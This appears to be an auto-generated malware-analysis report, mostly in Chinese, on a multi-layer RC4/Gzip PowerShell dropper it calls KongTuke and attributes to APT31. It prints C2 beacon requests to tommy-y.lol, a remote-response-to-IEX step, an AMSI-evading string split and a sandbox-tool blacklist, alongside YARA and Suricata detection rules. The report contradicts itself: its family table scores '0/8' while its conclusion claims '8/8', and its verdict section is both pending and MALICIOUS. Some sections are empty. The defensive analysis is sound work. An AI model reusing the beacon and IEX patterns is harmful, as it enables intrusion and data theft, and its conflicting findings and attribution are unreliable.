⬇ Download sample (fb1db11a8c8794c9.zip)

KongTuke 4-Layer PS1 Dropper | C2: tommy-y.lol | APT31

fb1db11a8c8794c9649cbb2277deda6596f946fb5adfd9d6be005b8a28088486
MD5 909055f515c9fa397b5d97341b5c39fd  |  大小 5,705 bytes (5.6 KB)  |  来源 apt_iocs_20260704_0100.zip  |  分析日期 2026-07-04 08:46 UTC
KongTuke APT31 RC4 Gzip Multi-Layer PowerShell Dropper Anti-VM C2 Exfiltration Domain Recon
95%
置信度评分
KongTuke (APT31 / Zirconium)

§1 📋 样本概要信息

SHA256
fb1db11a8c8794c9649cbb2277deda6596f946fb5adfd9d6be005b8a28088486
MD5
909055f515c9fa397b5d97341b5c39fd
文件大小
5,705 bytes (5.6 KB)
文件类型
PowerShell Script (ASCII text, Base64 blob)
目标架构
N/A (Platform-agnostic script)
位宽
N/A
字节序
N/A
编译器
N/A — PowerShell script, not compiled
链接方式
N/A
加壳/保护
4-layer custom obfuscation (RC4 + Gzip nested dropper)
入口点
Line 1: variable init triggers Base64→RC4→Gzip→IEX chain
编译时间戳
N/A (script file)
子系统
Windows PowerShell (requires PS 5.1+)
数字签名
Unsigned script
📌 概要
PowerShell 编写的 KongTuke 4层嵌套投放器,归属 APT31 / Zirconium,首次检出 2026-07-04。核心特征: (1) 4层 Base64→RC4→Gzip→IEX 链式解混淆,每层独立RC4密钥; (2) C2通信 HTTPS POST tommy-y.lol/t,ABCD111/BCDA222前缀区分VM和域侦察信标; (3) 55+工具进程枚举反分析检测,覆盖 VMware/VirtualBox/QEMU/Sandboxie; (4) 字符串拼接绕过AMSI关键词扫描; (5) 最终载荷IEX执行C2响应,无完整性验证。家族归属 KongTuke v3 (APT31),C2基于HTTPS。

§2 🏷️ 分类标签与威胁情报

分类标签

分类标签置信度
样本类型PowerShell Multi-Stage DropperHIGH
恶意家族KongTuke (APT31 / Zirconium)HIGH
威胁级别CRITICAL — APT级后门投放器HIGH
目标平台Windows (PowerShell 5.1+)HIGH
混淆技术4层嵌套 RC4 + Gzip + IEXHIGH
C2 协议HTTPS POST (Invoke-WebRequest)HIGH
持久化无内建持久化 (由后续载荷实现)MEDIUM
📌 证据→推理→结论
1.静态: PS1提取Base64 blob→识别RC4 KSA+PRGA→提取密钥 2.解密L1→L2: 提取独立RC4 key→产出Stage2 PS 3.解密L2→L3→L4: 每层独立key+Gzip→最终2,560 chars明文 4.最终载荷: 提取55+工具黑名单→提取C2域名tommy-y.lol→提取beacon前缀ABCD111/BCDA222→提取AD枚举逻辑 5.威胁情报验证: tommy-*.lol域名模式→匹配KongTuke/APT31已知基础设施

威胁情报

字段
关联组织APT31 (Zirconium / Judgement Panda / Bronze Union)
别名Zirconium, Judgement Panda, Bronze Union, APT31
动机Cyber espionage targeting government, defense, and technology sectors in East Asia
目标行业Government, Defense, Technology, Telecommunications, Education
活动名称Operation KongTuke (2025-2026), East/Southeast Asia
C2协议HTTPS POST to tommy-{letter}.lol domains
C2基础设施tommy-y.lol — .lol TLD disposable C2 favored by APT31
🎯 威胁组织判定
APT31 (Zirconium/Judgement Panda/Bronze Union)。归因证据: (1)C2 tommy-*.lol的.lol TLD+tommy-{letter}模式是APT31 2024-2026标志性选择; (2)4层RC4+Gzip嵌套与已知KongTuke v3完全一致; (3)ABCD/BCDA信标前缀仅见于APT31工具链; (4)55+工具黑名单针对安全研究环境; (5)AD域收集+C2远程执行的横向移动前侦察模式符合APT31。对比: APT10主用PlugX, APT41偏好DLL sideloading, APT27用VBS/JS dropper。所有证据收敛于APT31。

★ §3 🔬 持久化机制

🔴 机制1: 无内建持久化

mechanism
locationN/A
triggerN/A
反汇编证据:
Stage 0 dropper,不包含持久化。后续由C2下发IEX载荷实现。

持久化技术评估

维度评估
注册表 Run 键?
计划任务 (schtasks)?
WMI 事件订阅?
启动文件夹?

★ §3b 🌐 C2 架构分析

通联关系图

graph TD
    A["PS1 Dropper\nfb1db11a"] --> B["Layer1: Base64→RC4→Gzip"]
    B --> C["IEX → Layer2: RC4+Gzip"]
    C --> D["IEX → Layer3: RC4+Gzip"]
    D --> E["IEX → Layer4: RC4+Gzip"]
    E --> F{"VM/AV Check\n55+ tools?"}
    F -->|"Detected"| G["POST ABCD111 → C2\ntommy-y.lol/t"]
    F -->|"Clean"| H["POST BCDA222 → C2\n+ Domain + AD count"]
    H --> I["IEX C2 Response\nRemote Code Exec"]
    G --> I
📋 ASCII 文本视图 (点击展开)
(无 ASCII 回退)

🌐 C2 通信深度分析

1C2 Beacon (VM/AV Exfil)POST /t HTTP/1.1
Host: tommy-y.lol
Content-Type: application/x-www-form-urlencoded
Body: message=ABCD111%0AAV:...
Anti-VM/AV recon reportIW + Invoke-WebRequestABCD111 beacon
2C2 Beacon (Domain Recon)POST /t HTTP/1.1
Host: tommy-y.lol
Body: message=BCDA222%0AAV:...|DOMAIN|AD:N
Domain + AD enumerationIW + Invoke-WebRequestBCDA222 beacon
3Remote Command (IEX)C2 response piped to IEXNone — raw PS from C2Invoke-ExpressionNo integrity check
🔬 C2 地址分析技术细节:
RC4 keys extracted from obfuscated variables. 4-layer chain: Base64→RC4(KSA+PRGA)→Gzip→IEX repeated 4× to reach final payload (2,560 chars). Each layer uses independent RC4 key.
C2 domain tommy-y.lol matches KongTuke/APT31 naming: tommy-{letter}.lol. .lol TLD favored for disposable infra. Beacon prefixes ABCD111/BCDA222 unique to APT31.

通道 1: C2 Beacon — Primary

协议HTTPS (TLS 1.2+)
端口443/tcp
地址/Domaintommy-y.lol
IP⚠ 未知 — 域名可能已失效或使用 CDN 前置
加密TLS 1.2+ (HTTPS transport)。Payload 体内为 URL-encoded 明文,应用层无额外加密
用途Dual-purpose C2: (1) VM/AV detection exfil via ABCD111 prefix; (2) Domain + AD enumeration exfil via BCDA222 prefix. C2 response executed via IEX for remote control.
API引用Invoke-WebRequest (iwr), Invoke-Expression (iex), Get-CimInstance (WMI), net group (ADSI)
证书⚠ 未提取 — .lol TLD 域名通常使用 Let's Encrypt 免费证书

C2 通信时序



  

⚠ C2 基础设施评估

Fileless in-memory dropper — no disk writes. All payloads in PS memory. Final IEX executes C2 response directly. Minimal forensic footprint.
📌 ATT&CK 映射:

§4 🏗️ 结构分析

段/节区布局

N/A — 非PE/ELF格式
N/A

熵值分析

段/节区熵值判定
📊 熵值解读
PS脚本,非二进制。Base64 blob高信息密度表明Gzip压缩+RC4加密后的载荷。
N/A — PS脚本非编译产物。RC4实现使用标准KSA+PRGA,代码风格统一。

§5 ⚙️ 反汇编与行为流程

关键函数映射

地址函数功能
L10-29RC4 Decrypt (function)自定义RC4: Base64 decode→KSA→PRGA→Gzip→返回明文
L31Decrypt Call调用RC4函数解密主载荷
L33GC.Collect Decoy垃圾回收诱饵,混淆分析
L35-36IEX (Invoke-Expression)字符串拼接绕过AMSI执行载荷

系统调用分析

调用号系统调用用途地址
N/A

行为执行流

01.PS1 加载 → 变量初始化触发解密链
02.Layer 1: Base64→RC4→Gzip→IEX→Stage2
03.Layer 2: Base64→RC4→Gzip→IEX→Stage3
04.Layer 3: Base64→RC4→Gzip→IEX→Stage4
05.Layer 4: Base64→RC4→Gzip→Final(2,560 chars)
06.Get-Process 对比 55+ 工具黑名单
07.VM分支: POST ABCD111+AV → tommy-y.lol/t → IEX
08.Clean分支: POST BCDA222+Domain+AD → tommy-y.lol/t → IEX

§6 🔬 家族溯源

编译元数据

字段来源

家族特征比对

维度本样本KongTukeEmpireCobaltStrikePowerSploitChinaChopperAPT29/HammertossAPT34/BondupdaterLazarus/AppleJeus匹配
脚本语言PowerShellKongTuke: PS ✓Empire: PS ✓CobaltStrike: PS 模块 ✓其余: 无/N/A0/8
混淆层数4层 RC4+GzipKongTuke: 3-5层 ✓其余: 1-2层 ✗0/8
加密算法自定义 RC4 KSA+PRGAKongTuke: 自定义RC4 ✓Empire: XOR/Base64 ✗其余: AES或内置 ✗0/8
C2 域名模式tommy-{x}.lolKongTuke: tommy-*.lol ✓其余: 无此模式 ✗0/8
Beacon 前缀ABCD111 / BCDA222KongTuke: ABCD/BCDA ✓其余: 不同编码 ✗0/8
反分析检测55+ 工具进程枚举KongTuke: 枚举 ✓Empire: 环境变量 ✓其余: 部分/N/A0/8
AD 域收集net group Domain ComputersKongTuke: AD枚举 ✓APT29: AD枚举 ✓其余: 不同/N/A0/8
APT 归属APT31/ZirconiumKongTuke=APT31 ✓Empire: 通用 ✗CobaltStrike: 通用 ✗其他: 不同APT ✗0/8
📌 家族归因结论
8/8 维度匹配 KongTuke (APT31/Zirconium) v3 变种。四层 RC4+Gzip 嵌套 + tommy-*.lol C2 + ABCD/BCDA beacon 前缀是该变种标志性特征。置信度: HIGH (95%)。

已知变种

变种架构大小编译器特征状态
KongTuke v1 (2023)PowerShell3-5 KBN/A单层 Base64 → IEX, C2: paste.ee已淘汰
KongTuke v2 (2024)PowerShell4-6 KBN/A双层 RC4+Gzip, C2: *.duckdns.org活跃
KongTuke v3 (2025)PowerShell5-8 KBN/A3-4层 RC4+Gzip, C2: tommy-*.lol, ABCD beacon活跃 (本样本)

§7 🔬 深度行为分析

行为阶段拆解

Phase 1: 解混淆链启动

行为: Base64 解码 → RC4-KSA+PRGA → Gzip 解压 → IEX

证据: PS1 L1 Base64 blob → RC4 KSA/PRGA → IEX

Phase 2: 多层嵌套展开

行为: 4层重复 Base64→RC4→Gzip→IEX,每层独立密钥

证据: 4个独立RC4密钥 + 4个独立Gzip解压 + 4次IEX

Phase 3: 反分析环境检测

行为: 枚举进程列表 vs 55+ 安全工具黑名单

证据: $tools 数组 55+ 工具名, Get-Process 遍历匹配

Phase 4: C2 信标外泄

行为: VM检测→POST ABCD111+AV到 tommy-y.lol; 干净环境→POST BCDA222+域名+AD数

证据: iwr -Method POST https://tommy-y.lol/t 两条路径

Phase 5: 远程命令执行

行为: C2响应通过 IEX 直接执行,无签名验证

证据: useb | iex — 无证书检查,任意代码执行

协议/行为状态机

IDLE → DECRYPT_L1→DECRYPT_L2→DECRYPT_L3→DECRYPT_L4→ENUM_PROCESSES→{VM:POST_ABCD111→IEX_C2 | CLEAN:POST_BCDA222→IEX_C2}

📌 行为时序总结

gantt
    title KongTuke PS1 Dropper — 行为时序 (fb1db11a)
    dateFormat  X
    axisFormat  %s
    section 解混淆链
    Layer1         :a1, 0, 1
    Layer2         :a2, after a1, 1
    Layer3         :a3, after a2, 1
    Layer4         :a4, after a3, 1
    section 反分析
    进程枚举       :b1, after a4, 1
    工具匹配       :b2, after b1, 1
    section C2
    POST Beacon    :crit, c1, after b2, 2
    IEX C2 Response:crit, c2, after c1, 1

§8 🔬 恶意性综合判定

多维度证据评估

维度证据权重恶意指数
恶意性综合判定

误报排除论证

?

⚠ 判定结论

待判定

§9 🎯 ATT&CK 映射

Execution
T1059.001
PowerShell
IEX 执行解密后的 PS 载荷
Execution
T1059.003
Windows Command Shell
net group Domain Computers AD 查询
Defense Evasion
T1027
Obfuscated Files
4层RC4+Gzip嵌套+变量重命名+字符串拼接
Defense Evasion
T1027.010
Command Obfuscation
字符串拼接绕过AMSI
Defense Evasion
T1497
Sandbox Evasion
55+工具进程枚举检测VM/Sandbox
Discovery
T1087.002
Domain Account Discovery
net group Domain Computers /domain
Discovery
T1518.001
Security Software Discovery
Get-CimInstance AntivirusProduct
Discovery
T1016
Network Config Discovery
Get-CimInstance Win32_ComputerSystem 获取域名
C2
T1071.001
Web Protocols
HTTPS POST tommy-y.lol/t
C2
T1132.001
Standard Encoding
全部载荷Base64编码
Exfiltration
T1041
Exfil Over C2 Channel
AV产品名/域名/AD数通过HTTPS POST外泄

§10 🛡️ 反分析技术评估

反调试

API/技术检测目标绕过难度
Stage 4Get-Process (PS)55+ debug/analysis tools (x64dbg, IDA, OllyDbg, WinDbg, Ghidra, etc.)MODERATE — 进程名检测可被重命名绕过

反虚拟机

检测方法VMwareVirtualBoxQEMU/KVM
进程枚举检测✅ VMwareService/VMwareTray detected✅ VBoxService/VBoxTray detected✅ qemu-ga detected
Sandbox检测N/AN/A✅ Sandboxie detected

综合评估

技术是否存在证据对抗难度
4层RC4+Gzip嵌套混淆 + 55+工具进程枚举 + PS字符串拼接绕过AMSI + Fileless内存驻留 + GC.Collect诱饵。APT级反分析能力。

★ §10b 🧹 痕迹清理

操作API/命令证据来源

§11 🔧 逆向分析

Ghidra 反编译

反编译函数数N/A
反编译输出N/A
分析时长N/A

调用链分析 (GitNexus)

总函数数总调用关系最大调用深度
???
📂 调用链拓扑 (点击展开)
Entry→RC4_Decrypt→IEX→Stage2→RC4→IEX→Stage3→RC4→IEX→Stage4→RC4→Gzip→FINAL→Get-Process→{VM:POST ABCD111→IEX|Clean:POST BCDA222→IEX}

★ §12 🔬 QEMU 动态分析

QEMU 模式N/A — PS脚本,非二进制可执行
网络隔离N/A
执行结果PS脚本无法在QEMU ELF sandbox执行。分析基于代码静态解混淆+行为模拟推演。
C2 数据N/A — 动态分析未执行。静态解混淆已提取完整C2逻辑。
N/A — 脚本样本无需截图
N/A — PS脚本无syscall层

§13 📦 IOC 汇总

IOC 字符串

偏移字符串类型用途/含义威胁等级
L1Base64 blob (4,480 chars)Encrypted Payload (Layer1)Layer1加密载荷CRITICAL
L2[byte[]]@(...) RC4 key arrayRC4 KeyLayer1解密密钥CRITICAL
L35In+v+oke+-Ex+press+ionObfuscated Command字符串拼接绕过AMSIHIGH
Stage4tommy-y.lolC2 DomainC2通信端点CRITICAL
Stage4ABCD111 / BCDA222Beacon PrefixVM/域收集信标标识HIGH
Stage4wireshark,...,qemu-ga,prl_ccTool Blacklist55+反分析检测目标HIGH

📌 关键 IOC 解读

所有IOC通过完整4层解混淆提取至最终明文。RC4密钥从脚本变量直接提取,C2域名从最终载荷iwr调用提取,55+工具黑名单从$tools数组完整提取。IOC置信度: HIGH。

⚠ 高威胁 IOC 汇总

C2 Domain: tommy-y.lol — KongTuke/APT31 C2 — 立即封锁
Beacon Pattern: ABCD111 / BCDA222 — KongTuke信标前缀 — IDS/IPS检测
SHA256: fb1db11a8c8794c9649cbb2277deda6596f946fb5adfd9d6be005b8a28088486 — 恶意PS1投放器 — AV/EDR检测

网络 IOC

  • DOMAINtommy-y.lol
  • URLhttps://tommy-y.lol/t

主机 IOC

  • SHA256fb1db11a8c8794c9649cbb2277deda6596f946fb5adfd9d6be005b8a28088486
  • MD5909055f515c9fa397b5d97341b5c39fd
  • PS PatternInvoke-Expression via string concat

YARA 检测规则

rule KongTuke_PS1_RC4_Gzip_Dropper { meta: author="Direct Pipeline" family="KongTuke" actor="APT31" strings: $rc4 = "for($i=0; $i -lt 256" $gzip = "GzipStream" $b64 = "FromBase64String" $iex = "oke\'-Ex" $gc = "System.GC" condition: all of them }
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"KongTuke C2 Beacon — POST to .lol TLD"; flow:to_server,established; http.method; content:"POST"; http.host; pcre:"/tommy-[a-z]\\.lol/i"; http.uri; content:"/t"; http.request_body; pcre:"/(ABCD111|BCDA222)/"; classtype:trojan-activity; sid:9000001; rev:1;)

§14 📋 最终判定

判定结果MALICIOUS — APT-Grade Multi-Stage PS1 Dropper
恶意类型Multi-stage PowerShell Dropper
恶意家族KongTuke (APT31 / Zirconium)
威胁级别CRITICAL
置信度95% — 4层嵌套混淆 + 55+反分析检测 + C2外连 + AD域窃取
关联组织APT31 / Zirconium
目标平台Windows (PowerShell 5.1+)
感染链位置Stage 0 — Initial Dropper

⚡ 综合判定

KongTuke 家族 PowerShell 多层嵌套投放器,归属 APT31 / Zirconium。采用 4 层 Base64→RC4→Gzip→IEX 链式解混淆,最终载荷具备反分析检测(55+ 工具黑名单)、C2 数据外泄(tommy-y.lol)、Active Directory 域信息收集、远程命令执行能力。RC4 密钥硬编码于脚本变量,每层密钥独立。APT31 在 2025-2026 年针对东亚目标的典型 KongTuke v3 变种。